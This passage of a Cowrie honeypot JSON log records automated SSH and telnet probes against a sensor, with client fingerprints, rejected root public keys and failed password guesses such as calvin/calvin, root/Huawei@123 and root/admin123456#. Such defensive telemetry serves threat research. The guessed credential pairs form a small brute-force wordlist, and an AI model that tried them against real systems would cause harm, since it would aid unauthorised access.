sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.554331Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.659080Z","src_ip":"119.28.115.94","session":"2395ae960f0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.687131Z","src_ip":"101.36.108.213","session":"4e0be08b9c6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"calvin","password":"calvin","message":"login attempt [calvin/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.816505Z","src_ip":"31.40.204.166","session":"9b9bfd31c398","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:e8:6d:ea:a0:1b:ae:4e:95:07:97:ca:f6:66:f9:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDk7zeDNMr4JgwfuFrPMyROY6t/DLUIEWrtmx0gz/3gl0eMjqdcgKJsTaGv0vhJcb8dxdjntUrLpV8qbemn4EzYH4yEK0CgKXgA7SQ2tPzzc2DXmv022K2qDPAyTuO6besIwbHWNavHOKv6Dxj8gouh+ID1b/XS5ytwr7u7DVOQsz1e+dMbjZdzHFN8lLXHWilKcXCFDXcanCUtNjabhKKUmAYjIhDl/RXphRLVfJMLATm8jj5vSvn0J3baeaGko6PDdgcbHtepkB8M9yGUHhPkJ3XDDPr/5+JpbO9BPrxiNSVUC/VbnK09L1XVUOFLEYY9upH+R/N5zI2PB8n3AOB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:e8:6d:ea:a0:1b:ae:4e:95:07:97:ca:f6:66:f9:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.994257Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:e8:6d:ea:a0:1b:ae:4e:95:07:97:ca:f6:66:f9:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDk7zeDNMr4JgwfuFrPMyROY6t/DLUIEWrtmx0gz/3gl0eMjqdcgKJsTaGv0vhJcb8dxdjntUrLpV8qbemn4EzYH4yEK0CgKXgA7SQ2tPzzc2DXmv022K2qDPAyTuO6besIwbHWNavHOKv6Dxj8gouh+ID1b/XS5ytwr7u7DVOQsz1e+dMbjZdzHFN8lLXHWilKcXCFDXcanCUtNjabhKKUmAYjIhDl/RXphRLVfJMLATm8jj5vSvn0J3baeaGko6PDdgcbHtepkB8M9yGUHhPkJ3XDDPr/5+JpbO9BPrxiNSVUC/VbnK09L1XVUOFLEYY9upH+R/N5zI2PB8n3AOB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:49.998255Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:7c:94:c1:76:2c:77:ea:c8:5b:30:ef:3e:e9:26:95","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPD96ROcp80GF7wgrbZntWQAzbPUXHRXr294+w44z8QU","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fd:7c:94:c1:76:2c:77:ea:c8:5b:30:ef:3e:e9:26:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.090796Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:7c:94:c1:76:2c:77:ea:c8:5b:30:ef:3e:e9:26:95","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPD96ROcp80GF7wgrbZntWQAzbPUXHRXr294+w44z8QU","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.093850Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:40:88:cc:db:4d:e5:12:de:b9:66:1a:fc:a0:e6:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf/t4nlEgAYaP4///4QSACubCvKO5mJNoR0t+nMqu9qokLPFORJ7RYu3LTWgQyo8p/X17av8IdQh8i9neeSRKi4Hy1gjViDijFwxreeuuimNNCZ2Awpnd+foq4sG1GOzcRc2o+BDocWYy7Db8QSkUAdDBRF1NFKPBEjriR7MYwnM3bCy+D6BVgqaiCY2pRGpgjYCJJrYmsQTfwBEYpc8fRe+FL1YjUKIl1xqfW0EYh7LgwduPvZcWlxAkWOSRvMyn+Ybz0oBQG5ljHYdgf71oMIDZjjgaELB6XNoxfvb5ctp5F8kXDsYoJ2r1dJeSFUeKjmfyPBp4OY3KBTd8yHK2l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:40:88:cc:db:4d:e5:12:de:b9:66:1a:fc:a0:e6:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.184542Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:40:88:cc:db:4d:e5:12:de:b9:66:1a:fc:a0:e6:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf/t4nlEgAYaP4///4QSACubCvKO5mJNoR0t+nMqu9qokLPFORJ7RYu3LTWgQyo8p/X17av8IdQh8i9neeSRKi4Hy1gjViDijFwxreeuuimNNCZ2Awpnd+foq4sG1GOzcRc2o+BDocWYy7Db8QSkUAdDBRF1NFKPBEjriR7MYwnM3bCy+D6BVgqaiCY2pRGpgjYCJJrYmsQTfwBEYpc8fRe+FL1YjUKIl1xqfW0EYh7LgwduPvZcWlxAkWOSRvMyn+Ybz0oBQG5ljHYdgf71oMIDZjjgaELB6XNoxfvb5ctp5F8kXDsYoJ2r1dJeSFUeKjmfyPBp4OY3KBTd8yHK2l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.188389Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:f5:d8:a0:2d:56:68:fc:0e:07:0b:22:a3:ea:e1:32","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO/OAUMnq53oALxYGSXbOWxmPSM+Y0BmTXcMFO1BI3ZX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 64:f5:d8:a0:2d:56:68:fc:0e:07:0b:22:a3:ea:e1:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.287119Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:f5:d8:a0:2d:56:68:fc:0e:07:0b:22:a3:ea:e1:32","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIO/OAUMnq53oALxYGSXbOWxmPSM+Y0BmTXcMFO1BI3ZX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.290963Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43570,"dst_ip":"10.17.0.5","dst_port":23,"session":"6208304bd4a0","protocol":"telnet","message":"New connection: 152.42.224.71:43570 (10.17.0.5:23) [session: 6208304bd4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.332396Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:d6:97:41:54:b4:0e:20:ab:0b:91:8b:8e:b1:db:1e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICK9icnMKnn5ofBOcuOlyHzhEU2p5N5qZ/4IbacDYjl0","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 31:d6:97:41:54:b4:0e:20:ab:0b:91:8b:8e:b1:db:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.383899Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:d6:97:41:54:b4:0e:20:ab:0b:91:8b:8e:b1:db:1e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICK9icnMKnn5ofBOcuOlyHzhEU2p5N5qZ/4IbacDYjl0","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.387861Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.402348Z","src_ip":"103.173.227.57","session":"4714b5157e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.480906Z","src_ip":"193.142.43.122","session":"4385ec0b1f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:50.992187Z","src_ip":"31.40.204.166","session":"9b9bfd31c398","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":40662,"dst_ip":"159.203.135.109","dst_port":22,"session":"449f143249ab","protocol":"ssh","message":"New connection: 43.153.54.120:40662 (159.203.135.109:22) [session: 449f143249ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:52.236509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:52.240952Z","src_ip":"43.153.54.120","session":"449f143249ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:52.308312Z","src_ip":"43.153.54.120","session":"449f143249ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456#","message":"login attempt [root/admin123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:52.607390Z","src_ip":"43.153.54.120","session":"449f143249ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:53.677864Z","src_ip":"43.153.54.120","session":"449f143249ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43584,"dst_ip":"10.17.0.5","dst_port":23,"session":"cafa751f60b4","protocol":"telnet","message":"New connection: 152.42.224.71:43584 (10.17.0.5:23) [session: cafa751f60b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:54.500042Z"}
{"eventid":"cowrie.session.closed","duration":2.3175487518310547,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:56.817481Z","src_ip":"152.42.224.71","session":"cafa751f60b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50514,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e346d4c0f6c","protocol":"telnet","message":"New connection: 152.42.224.71:50514 (10.17.0.5:23) [session: 1e346d4c0f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:57.683768Z"}
{"eventid":"cowrie.session.closed","duration":50.10864281654358,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:57.808061Z","src_ip":"152.42.224.71","session":"61eb4409bb57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":85.63788270950317,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:58.402247Z","src_ip":"152.42.224.71","session":"66c4995cb9fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.52327847480774,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:28:59.855553Z","src_ip":"152.42.224.71","session":"6208304bd4a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":85.48846125602722,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:00.083303Z","src_ip":"152.42.224.71","session":"fc00db11f0bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.24196934700012,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:00.281583Z","src_ip":"152.42.224.71","session":"fe4d4793adad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":60848,"dst_ip":"159.203.135.109","dst_port":22,"session":"3efd6caff545","protocol":"ssh","message":"New connection: 103.149.28.157:60848 (159.203.135.109:22) [session: 3efd6caff545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:00.314149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:00.319679Z","src_ip":"103.149.28.157","session":"3efd6caff545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.87874627113342,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:00.325319Z","src_ip":"152.42.224.71","session":"77c2793fd545","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":51834,"dst_ip":"159.203.135.109","dst_port":22,"session":"699347a45d5a","protocol":"ssh","message":"New connection: 43.156.227.3:51834 (159.203.135.109:22) [session: 699347a45d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:00.453628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:00.458574Z","src_ip":"43.156.227.3","session":"699347a45d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:00.564393Z","src_ip":"103.149.28.157","session":"3efd6caff545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:00.703926Z","src_ip":"43.156.227.3","session":"699347a45d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55600,"dst_ip":"159.203.135.109","dst_port":22,"session":"423873d5ae1d","protocol":"ssh","message":"New connection: 31.40.204.166:55600 (159.203.135.109:22) [session: 423873d5ae1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:01.121457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:01.183253Z","src_ip":"31.40.204.166","session":"423873d5ae1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aleksei","message":"login attempt [root/aleksei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:01.296794Z","src_ip":"103.149.28.157","session":"3efd6caff545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:01.307426Z","src_ip":"31.40.204.166","session":"423873d5ae1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanja123","message":"login attempt [root/tanja123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:01.717029Z","src_ip":"43.156.227.3","session":"699347a45d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:01.882864Z","src_ip":"31.40.204.166","session":"423873d5ae1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:02.546359Z","src_ip":"103.149.28.157","session":"3efd6caff545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:02.966032Z","src_ip":"43.156.227.3","session":"699347a45d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:03.319363Z","src_ip":"31.40.204.166","session":"423873d5ae1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":34868,"dst_ip":"159.203.135.109","dst_port":22,"session":"c50acb707311","protocol":"ssh","message":"New connection: 43.134.228.151:34868 (159.203.135.109:22) [session: c50acb707311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:05.632039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:29:05.636529Z","src_ip":"43.134.228.151","session":"c50acb707311","protocol":"ssh"}
